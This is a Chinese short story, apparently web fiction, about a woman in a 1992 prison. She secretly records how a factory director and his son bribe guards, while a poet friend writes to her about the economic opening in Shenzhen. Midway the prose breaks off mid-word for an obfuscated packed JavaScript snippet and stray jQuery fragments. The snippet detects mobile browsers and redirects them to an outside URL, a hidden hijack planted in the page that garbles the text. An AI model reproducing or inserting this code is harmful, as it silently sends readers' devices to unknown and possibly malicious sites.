1992年的春风是从生锈的铁窗栏杆缝里钻进来的。凌月攥着草绳的手被磨出第三层茧子时，终于在字典里查到了“惊蛰”这个词。纸页边缘已经被手指舔舐得发潮，墨色的宋体字在阳光下泛着青灰色的光，像极了女犯车间墙角那丛倔强的苔藓——去年雨水大，砖缝里竟冒出几株绿芽，被看守用开水浇过两次，如今反倒爬得更高了。


    “万物出乎震，震为雷，故曰惊蛰。”她用指甲在“雷”字底下划了道浅痕，身后突然传来铁皮桶倒地的哐当声。隔着二十米外的男犯车间玻璃窗，刘冀正踢翻装着草绳头的铁桶，草屑纷飞中，他腕上那块走私来的电子表闪着狼眼里独有的绿光——那是上周刘德来探视时带来的，表带还缠着没拆的塑料膜，印着光怪陆离的英文字母，在男犯队列里晃得人眼晕。


    女犯车间的看守敲了敲铁皮桌：“凌月，快点！”


    她慌忙把字典塞进草绳筐深处，筐底的篾片被变成八卦一样的圆形，将字典捧在中间，形成了地圆天方图形。这只草绳筐已经编了三个月，最底层的夹层里海藏着三页用烧黑的火柴头写满字的草纸，其中一页写的是“1991年冬，刘德探望刘冀，给看守塞了几包钱”。那是在午餐时，刘冀蹭过来对凌月说的，“需要老爸给你打点打点吗？”凌月冷冷地回道：“到这里来还不是拜他所赐！”她和□□早已不是一路人了，甚至行同路人，不，更确切的说是“仇人”。上周王管教例行检查时，指尖划过筐底，她当时感觉心脏像被草绳勒住，深怕他发现隐藏的纸条惹出不必要的麻烦，却听见“编得还挺密实”的评语，凌月感觉后背的汗已经浸透了灰蓝色的囚服。


    车间顶上的吊扇转得有气无力，扇叶上积的灰垢随着转动往下掉落，在水泥地上洇出星星点点的灰印。女犯们的草绳在膝头堆成小山，编筐的沙沙声里混着偶尔的一声咳嗽。墙角的广播突然滋滋响起来，一个亢奋的男声念着“东方风来满眼春”，尾音被电流绞得变了调，像根生锈的铁丝刮过铁皮。


    “听说了吗？南边都在往海里‘跳’。”斜对面的张梅姐突然凑过来，她因倒腾香港录像带进来的，那些录像带夹杂着三级片，“我家那口子要是敢下海，我打断他的腿。”她的手在草绳上打了个死结，那是她们在纺织厂时就会的结，叫“死扣”，“下海的男人，你还能把他捞回来吗？”周围的姐妹们全笑了，特别是那些结过婚的媳妇笑得很暧昧。


    凌月的手指顿了顿，“海”？她想起蒯文的诗里全是“海”，上次他来探视时，隔着厚厚的玻璃，他说他去了深圳，看见海浪把日光打碎成金箔，他解释说：“时间就是金钱，大海见证了城市的变迁。”他的声音透过话筒发闷却显得悠远，“就像你编的草绳，它记录着你的时光，而这些时光却带不来财富，而大海可以。”


    凌月似乎听明白了：此时的草绳伴着自己虚度光阴，而他因写大海成就了诗名。那天的阳光把蒯文的影子拉得很长，投在她这边的玻璃上，像幅模糊的版画。他带来的诗集《浮城》被狱警翻了三遍而被确认为“安全”物品，诗集的扉页上“赠凌月”三个字已被指腹摩挲得发毛，她夜里在被窝里反复摸那三个字，能感觉到像蒯文手指的温度与皱褶，带着海的味道。


    捧着诗集阅读，凌月可以触摸到自己曾经的时光，她总是随身携带，害怕丢失“自我”。“装什么文化人。”每当被刘冀碰见，他就往凌月这边比划着鄙视的手势，惹得姐妹们纷纷投射愤怒的目光来守护凌月。刘冀冲着女犯们骂道“一群贱人”，直至看守的警棍敲在铁门上发出沉闷的警告声，他才悻悻地转身离去。


    夕阳把车间的影子拉到门口时，广播又响了。这次是天气预报，说明天有雷阵雨。凌月把散了的草绳重新接好，绳结打得又快又紧。她想起小时候在乡下，外婆说惊蛰的雷声能把土里的虫子震醒。可这铁打的牢笼里，阴暗处的虫子却最善于躲藏。


    那天，蒯文的信是在暴雨天送到的。信封被雨水泡得发胀，邮票洇成了一团皱褶。凌月躲在女监厕所最里面的隔间，借着从气窗透进来的微光读信，纸页上的字迹被眼泪泡得越发模糊。


    “我去了纺织厂旧址，机器全拆了，都换成德国的喷水织机了”。蒯文的字总是向□□斜，表现出坚定或是倔强，她不禁想到雷锋的笔迹，她从小对雷锋日记最熟悉。“他们说你当年看管的仓库，现在堆着成堆的无纺布，那些布会销到江浙乡镇服装工厂，但是由于管理，总会出大批次品。”


    她想起那个仓库。1984年的冬天，她抱着账本在雪地里追拖车，车轮溅起的泥点子糊了凌月满脸。那时仓库里堆着刚到的进口棉纱，陈国建让她在入库单上少写三十匹，她不肯，第二天闹到厂长那儿，刘德却半闭着眼睛说：“照着他说的做”。


    “我找到当年给你作证的保安了，他说刘德给了他五百块钱，是他指使撬开你的宿舍。”信里的这句话被水浸得最深，墨迹晕成了乌云的形状，“但他不敢出面，说刘德掌握着工人的命脉，他的弟弟去年还升任检查官。”


    隔间的门突然被猛踹一脚，把凌月蹲坑的门都给震开了。是同监舍的小周，她急着进来，不小心跟凌月碰在一处，见凌月手里的信，她眼睛亮了：“是蒯编辑寄来的？他的诗又上报纸了？”


    凌月把信纸塞进内衣夹层，柔软的信纸隔着布料烫着皮肤。“嗯，”她含糊应着，帮歪斜的门重新扣上，“说外面在流行下海。”


    “下海？”小周的眼睛瞪得溜圆，她进来时才十六岁，偷了邻居家的录音机，听腻了又卖掉换钱“是去海里游泳吗？”


    走廊里传来看守的呵斥声，两人赶紧闭了嘴。凌月走回监舍时，看见男监那边的灯亮着，刘冀正站在楼下的空地上，对着女监的方向谩骂，在“禁止喧哗”的标语上留下了斑斑点点的唾沫星。看守的警棍在铁栅上敲了敲，却没说话——那是赵看守，上个月刘德来探视时，塞给他一条红塔山。


    夜里躺在床上，凌月摸出那封信重读。蒯文说他的诗集再版了，卖得很好，enough to buy a small bank。他用汉字标注“enough”的读音，“伊纳芙”，看了这些，凌月感到蒯文的世界显然已与众不同。


    总设计师南巡的消息先是从女监的广播里听来的，那天她们在学习室看新闻，报纸的头版上的邓公穿着夹克衫，站在深圳的广告牌前，“时间就是金钱”六个字红得刺眼。邻座的张姐突然哭了，她的减刑申请刚被驳回，这回她又看到了希望。


    “我男人要是在深圳，肯定能发财。”她用袖子抹着眼泪，“他以前在厂里是技术最好的，就是胆小。这样也好，不会学坏！”


    凌月往草绳筐里又塞了张草纸。上面记着：“1992年3月10日，刘冀在食堂抢别人的鸡蛋，赵看守却不管，听刘冀说他收了刘德的红包。”她像记流水账，却用这些缓解自己心灵的冤屈。


    放风时间到了。女犯们沿着铁丝网内侧的白石灰线散步，男犯们在另一块场地，隔着十米宽的空地和两道铁丝网。刘冀正叉着腰站在篮球架下，一群人围着他递烟，火光在阳光下明明灭灭。他突然朝女犯这边扬起手指，做了个“点钱”的手势，腕上的电子表闪得刺眼。


    “他又在耍什么花样。”张姐往地上啐了口唾沫，“听说他爸给监狱学习室送了台彩电，日本进口的，带遥控。”


    凌月的目光越过铁丝网的菱形网格，落在篮球场外的梧桐树上。去年秋天，她亲眼看见刘冀把个不服他的男犯按在树干上打，树皮蹭掉了一大块，现在那地方长出了畸形的树瘤，像只肿胀的眼睛。


    放风的哨声突然尖锐地响起。女犯们开始列队，凌月转身时，看见刘冀把一张纸条塞进篮球架的缝隙里。赵看守慢悠悠走过去，背对着女犯区掏出纸条，揉成一团塞进裤兜——那是刘冀托他带的消息，上周她去医务所拿药时，听见赵看守跟人打电话，说“好的，刘厂长，我们会处理好的”。


    回到车间，凌月继续编筐。草绳在她手里游走，像条沉默的蛇，时不时的好像咬她几口。她知道，刘德父子歪点子太多，她的战斗才刚刚开始。


    刘冀开始表现得像个模范犯人。每天早上，他都是男犯车间第一个到的，把别人的草绳筐摆得整整齐齐，甚至主动帮看守擦桌子。有次学习会，他还站起来朗读《犯人改造手册》，声音洪亮得能穿透两道铁丝网，男女犯车间无人不晓。


    “装得真像。”张姐往地上啐了口唾沫，接着说起她老公，她的老公来信说，外面现在流行“下海”，连公务员都辞职去南方，可他前天在厂长门前转了几遍，却始终没敢敲门。


    凌月没说话，她的手指在草绳上打了个“活结”——这是她在纺织厂的织机上学的，紧急时能一拉就开。她想起蒯文的信，他又说他找到了当年给刘德开车的司机，司机说刘德在郊区有个情妇，1978年就开始在明里断了来往，可背地里却把账本藏在她那里。


    夜里，女监突然响起警报声。是小周藏了块肥皂被发现，正被管教训斥，“我不是想自杀，我只是想洗手帕。”看样，小周偷窃习惯又犯了。凌月翻了个身，看见月光从铁窗照进来，在墙上投下栏杆的影子，习性像道永远解不开的锁。


    第二天，刘冀被表扬了。监狱的广播里播放着他的“改造事迹”，说他“认罪悔罪，积极向上”，还奖了他一本笔记本。男犯们鼓掌时，凌月看见刘冀把笔记本举得老高，似乎在宣布自己丰功伟绩：我快要出狱。


    蒯文又来探视了。这次他带来了新出版的诗集，封面是深蓝色的，印着片海浪。凌月摸着封面时，听见自己的指甲刮过纸面的沙沙声。


    “我最近去了趟北戴河。”蒯文隔着玻璃笑，眼角的皱纹里盛着阳光，“海水还很凉，但已经有渔民在撒网了，网眼里兜着的海星，像被太阳晒化的金子。”蒯文的话语充满诗情画意，同时闪着金钱的光辉。


    探视室的时钟滴答作响，还有几分钟就要结束。蒯文突然从诗集里抽出张照片，是他在海边拍的。照片上的海浪泛着白花花的光，像无数片被揉碎的镜子。“你看，”他指着照片，“海浪永远在动，就像希望。”凌月把照片藏进字典的封皮里，凌月不知道是蒯文还是海浪在支撑她度过这无数个苦难的日子。


    回监舍时，刘冀正在男监的楼下喊叫，他的声音穿透铁丝网，像根生锈的铁钉扎进耳朵。“我爸说了，下个月就让我出去！”他继续大声说道，“你愿意跟我好，到时候我开辆小轿车来接你！”


    哄笑声从男监那边传来，女监的看守敲了敲铁栏杆，声音才渐渐平息。凌月摸出草绳筐，筐底的夹层里，那些用火柴头写的字，那些信的碎片，突然觉得它们不再沉重，而是像船，能载着她渡过这片黑暗的海。


    夕阳西下时，广播又响了。这次是《春天的故事》，董文华甜美的歌声把监狱的铁栅栏都泡软了。凌月把最后一根草绳系好，又一个草绳筐编完了，沉甸甸的，像装着整个春天的希望。


    四月的放风场弥漫着消毒水和汗酸混合的气味。女犯们沿着铁丝网内侧的白石灰线散步，影子被正午的太阳钉在地上，像排沉默的桩子。凌月攥着那本新字典——是蒯文新送的汉英小词典，纸页边缘在掌心硌出菱形的印子，她开始在放风时背单词，把“自由”“正义”“责任”这类词刻进记


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160671|180612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忆里。


    铁丝网的另一侧是男犯放风区。刘冀正叉着腰站在篮球架下，又是一群人围着替他点火，香烟的火光在阳光下明明灭灭。


    “他又在显摆什么？”还是张姐往地上啐了口唾沫，“听说他爸托了监狱长的关系，下个月就能评改造积极分子。”


    放风的哨声突然尖锐地响起。女犯们开始列队，凌月转身时，又看见刘冀把一张纸条塞进篮球架的缝隙里。一个穿黑制服的看守慢悠悠走过去，背对着女犯区掏出纸条，揉成一团塞进裤兜——那是三监区的赵看守，据说每月都能从刘德那里领到“补助”，看样有钱能使鬼推磨。


    夜里熄灯后，凌月摸出枕头下的火柴，借着月光划亮——第三根了。火苗舔着草纸边缘，她看见自己映在墙上的影子，像只被困在蛛网里的飞蛾。“你在干什么？”邻铺的张姐突然坐起来，她的眼睛在昏暗的柴火中亮得惊人。凌月慌忙吹灭火柴，焦糊味在潮湿的空气里弥漫。凌月想起蒯文信里说的“下海”难以入眠，接着火柴的光亮，她重温着蒯文话语。走廊的铁门突然哐当巨响，凌月和张姐同时噤声。


    仔细一听，却是刘冀被带了回来的动静——男监区在另一栋楼，只有夜里提审时才会经过女监走廊。他的脚步声轻浮，居然还带着酒气，嘴里哼着跑调的《潇洒走一回》，“我爸说...”刘冀的声音在走廊里回荡，后面的话被铁门关上的声音吞没。


    监狱的学习室是栋灰砖平房，男女犯分坐左右，中间隔着两米宽的过道，看守荷枪实弹地站在过道尽头。墙上的喇叭正播放邓公南巡讲话的录音，“发展才是硬道理”这句话被电流磨得发亮，像根银针钻进每个人的耳朵。


    凌月坐在第三排，面前摆着本《改造手册》，她在笔记本上“前途”两个字左右画了对称的波浪。张姐凑过来低语：“听说了吗？外面有人辞职去深圳，卖茶叶蛋都能发财。”她的手指在膝盖上比划着数钱的动作，眼睛亮得像磨亮的铜钱。


    男犯区突然传来骚动。刘冀正站起来发言，他手里攥着张报纸，报纸头版印着“下海”两个红底黄字。“我深刻认识到，”他的声音洪亮得刻意，“只有紧跟国家政策，才能重新做人。等我出去，也要响应号召，下海创业，为国家做贡献！”


    哄笑声从男犯区蔓延开来，被看守的警棍敲桌子声打断。凌月看见李科长坐在前排，正朝刘冀点头微笑，手指在笔记本上写着什么——上周她由看守陪着去医务所拿药时，正撞见李科长接过刘德递来的皮箱，箱子锁扣上还挂着免税店的标签。


    学习会结束时，男女犯按顺序退场。经过过道时，凌月突然被人撞了下肩膀，一本《雷锋日记》掉在地上。是刘冀故意撞的，他弯腰捡书时，飞快地往她手里塞了张纸条，纸边还沾着牛肉干的油星。


    回到监舍展开纸条，刘德的字迹像条扭曲的毒蛇：“蒯文的申诉材料已被我爸找人扣下，让他识相点，否则让他在省城也待不下去。”凌月捂住耳朵，却挡不住那些话往脑子里钻。


    这一回，蒯文的信迟到了半个月。凌月去收发室问了三次，看守才从抽屉最底层翻出来，信封边角已经磨得发白，邮票被人用指甲抠掉了一半。她躲在车间的工具间读信，工具间里堆着生锈的剪刀和断线钳，铁锈味混着信纸上的墨水味，“我找到刘德那个情妇的地址了，”蒯文的字迹比往常潦草，“但她家被撬了，所有东西都被翻走了。邻居说，前几天有穿警服的人来过。”信纸中间有道折痕，折痕处的字被磨得模糊：“他们警告我，再管闲事就以‘诬陷罪’抓我，但我不怕，海边的礁石被浪拍打了千年，退缩了吗？”


    工具间的门突然被推开，赵看守站在门口，手里把玩着串钥匙。“凌月，李科长让你去趟办公室。”他的目光在她手里的信上打转。凌月把信塞进裤腰，用衬衫下摆遮住。李科长的办公室弥漫着香烟味，凌月惊讶地看到刘德正坐在沙发上喝茶。“坐”，刘德指了指对面的椅子，茶几下的皮箱敞着条缝，露着什么，“蒯文在找我的茬，”刘德抿了口茶，“你给他写封信，让他好自为之。”他把纸笔推过来，“这事成了，我能保你提前出去。”


    凌月看着那张纸，纸上的红色的横线像无数条等待她跨越的鸿沟，“我不写。”她站起身，椅子腿在地板上划出刺耳的声线。刘德的脸瞬间涨成猪肝色，他抓起茶杯就往地上砸，瓷片溅到她的脚踝，渗出血珠。“你以为蒯文能护着你？”他吼道，“我能把你送进来，就能让你烂在这里！”


    回到车间时，草绳筐已经被翻得乱七八糟。赵看守正拿着根铁钎子戳筐底，篾片断裂的声音像骨头被碾碎。凌月冲过去抱住筐子，手背被铁钎子划开道口子，血滴在草绳上，晕成朵暗红色的花。“里面藏了什么？”赵看守逼近一步，铁钎子闪着寒光。凌月死死抱着筐子，突然看见王管教站在车间门口，他的目光落在她流血的手背上，喉结动了动，像在说着什么。


    五月的风带着槐花香钻进铁窗时，凌月把最后一根草绳系在筐底。蒯文又寄来一封信，这次是用挂号信寄的，信封上盖着十几个邮戳。他说他去了深圳，在海边租了间小房子，每天早上都能听见渔船马达声，海涛声似乎变小了。“我把刘德的材料寄给了市纪委，”他写道，“不知道会不会有结果”。信里还夹着张照片，是蒯文在海边拍的。他站在礁石上，风把领带吹得像面小船帆，背景里的海浪泛着白花花的光，像无数碎掉的银锭。


    刘冀的减刑裁定书下来那天，监狱加餐。每个人分到个白面馒头，还有几片腊肉。他举着夹着腊肉的馒头在男犯区炫耀，看到凌月时，远远地竖起了中指。今生，他们注定已是不共戴天的仇人。